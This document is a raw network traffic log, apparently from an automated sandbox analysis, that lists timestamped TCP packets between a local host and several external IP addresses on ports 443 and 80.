Oct 10, 2024 10:13:45.767072916 CEST	64667	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.767080069 CEST	443	64667	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.770435095 CEST	443	64666	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.770816088 CEST	64666	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.770849943 CEST	443	64666	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.771193027 CEST	64666	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.771198988 CEST	443	64666	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.773277998 CEST	443	64663	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.773346901 CEST	443	64663	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.773442984 CEST	64663	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.773588896 CEST	64663	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.773605108 CEST	443	64663	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.773617029 CEST	64663	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.773622036 CEST	443	64663	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.776799917 CEST	64668	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.776834011 CEST	443	64668	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.778562069 CEST	64668	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.778809071 CEST	64668	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.778846025 CEST	443	64668	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.784184933 CEST	443	64664	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.784245014 CEST	443	64664	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.784315109 CEST	64664	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.784456968 CEST	64664	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.784473896 CEST	443	64664	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.784490108 CEST	64664	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.784497023 CEST	443	64664	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.787368059 CEST	64669	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.787420988 CEST	443	64669	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.787482977 CEST	64669	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.787614107 CEST	64669	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.787630081 CEST	443	64669	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.795497894 CEST	443	64665	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.798943996 CEST	64665	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.798973083 CEST	443	64665	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.799307108 CEST	64665	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.799313068 CEST	443	64665	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.875360966 CEST	443	64667	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.875447989 CEST	443	64667	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.875612020 CEST	64667	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.875833035 CEST	64667	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.875855923 CEST	443	64667	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.875889063 CEST	64667	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.875896931 CEST	443	64667	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.878320932 CEST	64670	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.878365993 CEST	443	64670	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.878437042 CEST	64670	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.878560066 CEST	64670	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.878572941 CEST	443	64670	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.884922028 CEST	443	64666	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.885072947 CEST	443	64666	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.885155916 CEST	64666	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.885248899 CEST	64666	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.885271072 CEST	443	64666	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.885286093 CEST	64666	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.885293007 CEST	443	64666	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.888506889 CEST	64671	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.888598919 CEST	443	64671	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.888673067 CEST	64671	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.888986111 CEST	64671	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.889019966 CEST	443	64671	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.907757044 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:45.908684015 CEST	443	64665	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.908746004 CEST	443	64665	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.908771038 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:45.908797026 CEST	64665	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.908982992 CEST	64665	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.909008026 CEST	443	64665	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.909019947 CEST	64665	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.909025908 CEST	443	64665	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.911987066 CEST	64672	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.912015915 CEST	443	64672	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.912173986 CEST	64672	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.912374020 CEST	64672	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:45.912400007 CEST	443	64672	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:45.915437937 CEST	64673	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:45.915467978 CEST	443	64673	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:45.915537119 CEST	64673	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:45.915783882 CEST	64673	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:45.915798903 CEST	443	64673	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:46.476480961 CEST	443	64669	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.480792999 CEST	443	64668	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.490041018 CEST	64669	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.490070105 CEST	443	64669	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.490566969 CEST	64669	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.490572929 CEST	443	64669	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.498343945 CEST	64668	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.498378038 CEST	443	64668	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.498797894 CEST	64668	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.498806000 CEST	443	64668	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.567034006 CEST	443	64672	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.567111015 CEST	443	64670	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.568126917 CEST	443	64673	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:46.568540096 CEST	64673	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:46.571548939 CEST	443	64671	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.597384930 CEST	443	64669	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.597467899 CEST	443	64669	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.597541094 CEST	64669	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.603980064 CEST	64672	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.604012012 CEST	443	64672	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.604768991 CEST	64672	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.604775906 CEST	443	64672	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.605015039 CEST	64669	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.605034113 CEST	443	64669	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.606134892 CEST	64670	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.606144905 CEST	443	64670	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.606180906 CEST	443	64668	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.606205940 CEST	443	64668	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.606264114 CEST	64668	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.606275082 CEST	443	64668	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.606290102 CEST	443	64668	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.606338978 CEST	64668	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.606972933 CEST	64670	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.606976986 CEST	443	64670	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.607539892 CEST	64668	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.607554913 CEST	443	64668	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.609045982 CEST	64673	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:46.609060049 CEST	443	64673	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:46.609492064 CEST	64673	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:46.609498978 CEST	443	64673	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:46.609989882 CEST	64671	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.610004902 CEST	443	64671	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.610434055 CEST	64671	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.610439062 CEST	443	64671	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.618558884 CEST	64674	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.618594885 CEST	443	64674	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.618654966 CEST	64674	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.618777037 CEST	64674	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.618789911 CEST	443	64674	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.620564938 CEST	64675	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.620600939 CEST	443	64675	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.620721102 CEST	64675	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.663855076 CEST	64675	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.663934946 CEST	443	64675	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.708337069 CEST	443	64672	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.708403111 CEST	443	64672	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.708554983 CEST	443	64672	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.708619118 CEST	64672	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.710264921 CEST	443	64670	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.710333109 CEST	443	64670	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.710442066 CEST	64672	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.710496902 CEST	64672	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.710537910 CEST	443	64672	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.710556030 CEST	64670	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.710982084 CEST	64670	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.711009979 CEST	443	64670	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.711021900 CEST	64670	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.711029053 CEST	443	64670	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.712161064 CEST	443	64671	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.712214947 CEST	443	64671	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.712337017 CEST	443	64671	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.712459087 CEST	64671	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.712615013 CEST	64671	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.712615013 CEST	64671	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.712636948 CEST	443	64671	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.712661028 CEST	443	64671	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.714659929 CEST	64676	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.714694977 CEST	443	64676	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.715456963 CEST	64677	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.715500116 CEST	443	64677	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.715511084 CEST	64676	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.715548992 CEST	64677	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.716394901 CEST	64678	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.716403961 CEST	443	64678	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.716571093 CEST	64678	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.716589928 CEST	64676	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.716603041 CEST	443	64676	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.716679096 CEST	64677	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.716694117 CEST	443	64677	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.716751099 CEST	64678	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:46.716762066 CEST	443	64678	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:46.866491079 CEST	443	64673	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:46.866545916 CEST	443	64673	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:46.866750956 CEST	64673	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:46.866878033 CEST	64673	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:46.866898060 CEST	443	64673	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:46.866909981 CEST	64673	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:46.866945982 CEST	64673	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:47.307807922 CEST	443	64674	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.309925079 CEST	64674	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.309941053 CEST	443	64674	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.310430050 CEST	64674	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.310435057 CEST	443	64674	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.315278053 CEST	443	64675	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.322273016 CEST	64675	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.322313070 CEST	443	64675	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.322742939 CEST	64675	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.322750092 CEST	443	64675	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.369240999 CEST	443	64676	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.369812965 CEST	64676	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.369838953 CEST	443	64676	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.370630026 CEST	443	64678	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.370650053 CEST	64676	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.370661020 CEST	443	64676	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.383091927 CEST	443	64677	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.383559942 CEST	64677	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.383589029 CEST	443	64677	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.384001017 CEST	64677	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.384010077 CEST	443	64677	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.388622046 CEST	64678	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.388647079 CEST	443	64678	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.389034033 CEST	64678	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.389039993 CEST	443	64678	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.420609951 CEST	443	64674	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.420641899 CEST	443	64674	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.420722008 CEST	443	64674	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.420722961 CEST	64674	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.420761108 CEST	64674	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.425533056 CEST	443	64675	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.425595999 CEST	443	64675	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.425651073 CEST	64675	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.446361065 CEST	64674	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.446404934 CEST	443	64674	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.446449995 CEST	64674	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.446459055 CEST	443	64674	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.446557999 CEST	64675	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.446594954 CEST	443	64675	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.446626902 CEST	64675	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.446635962 CEST	443	64675	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.476715088 CEST	64679	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.476749897 CEST	443	64679	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.476835966 CEST	64679	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.477288961 CEST	64680	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:47.478697062 CEST	64681	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.478744030 CEST	443	64681	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.478802919 CEST	64681	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.478883028 CEST	64679	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.478894949 CEST	443	64679	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.478959084 CEST	443	64676	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.479001999 CEST	64681	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.479018927 CEST	443	64681	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.479724884 CEST	443	64676	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.479783058 CEST	64676	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.479813099 CEST	64676	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.479820967 CEST	443	64676	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.479830027 CEST	64676	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.479834080 CEST	443	64676	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.481832981 CEST	64682	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.481863022 CEST	443	64682	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.481930971 CEST	64682	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.482039928 CEST	64682	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.482054949 CEST	443	64682	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.482244968 CEST	80	64680	64.233.184.82	192.168.2.4
Oct 10, 2024 10:13:47.482297897 CEST	64680	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:47.482456923 CEST	64680	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:47.491578102 CEST	80	64680	64.233.184.82	192.168.2.4
Oct 10, 2024 10:13:47.491791010 CEST	443	64678	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.491851091 CEST	443	64678	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.491911888 CEST	64678	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.491980076 CEST	64678	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.491997957 CEST	443	64678	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.492007017 CEST	64678	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.492012978 CEST	443	64678	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.493871927 CEST	64683	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.493917942 CEST	443	64683	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.493978024 CEST	64683	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.494088888 CEST	64683	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.494107008 CEST	443	64683	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.496885061 CEST	443	64677	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.497108936 CEST	443	64677	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.497178078 CEST	64677	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.497220039 CEST	64677	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.497225046 CEST	443	64677	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.497234106 CEST	64677	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.497237921 CEST	443	64677	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.499000072 CEST	64684	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.499039888 CEST	443	64684	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:47.499115944 CEST	64684	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.499239922 CEST	64684	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:47.499254942 CEST	443	64684	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.132097006 CEST	443	64681	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.132829905 CEST	64681	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.132857084 CEST	443	64681	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.133368015 CEST	64681	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.133375883 CEST	443	64681	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.140201092 CEST	443	64682	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.140717983 CEST	64682	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.140742064 CEST	443	64682	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.141156912 CEST	64682	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.141163111 CEST	443	64682	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.142266989 CEST	443	64679	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.142539978 CEST	64679	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.142564058 CEST	443	64679	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.142872095 CEST	64679	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.142879963 CEST	443	64679	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.158402920 CEST	443	64683	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.158960104 CEST	64683	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.158998013 CEST	443	64683	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.159341097 CEST	64683	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.159351110 CEST	443	64683	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.180351973 CEST	443	64684	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.180944920 CEST	64684	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.180974960 CEST	443	64684	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.181186914 CEST	64684	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.181194067 CEST	443	64684	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.199022055 CEST	80	64680	64.233.184.82	192.168.2.4
Oct 10, 2024 10:13:48.199047089 CEST	80	64680	64.233.184.82	192.168.2.4
Oct 10, 2024 10:13:48.199146032 CEST	64680	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:48.199557066 CEST	64680	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:48.199587107 CEST	64680	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:48.239826918 CEST	443	64681	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.239893913 CEST	443	64681	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.239969969 CEST	64681	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.240211964 CEST	64681	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.240235090 CEST	443	64681	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.240247965 CEST	64681	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.240253925 CEST	443	64681	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.243081093 CEST	64685	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.243125916 CEST	443	64685	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.243218899 CEST	64685	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.243355989 CEST	64685	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.243366003 CEST	443	64685	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.250626087 CEST	443	64679	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.250910997 CEST	443	64679	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.250991106 CEST	64679	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.251029968 CEST	64679	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.251044035 CEST	443	64679	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.251053095 CEST	64679	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.251059055 CEST	443	64679	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.252254963 CEST	443	64682	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.252311945 CEST	443	64682	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.252367020 CEST	64682	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.252474070 CEST	64682	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.252480030 CEST	443	64682	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.252492905 CEST	64682	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.252496958 CEST	443	64682	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.253891945 CEST	64686	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.253916979 CEST	443	64686	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.253984928 CEST	64686	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.254123926 CEST	64686	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.254132986 CEST	443	64686	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.254401922 CEST	64687	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:48.254447937 CEST	443	64687	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:48.254502058 CEST	64687	443	192.168.2.4	13.107.253.45
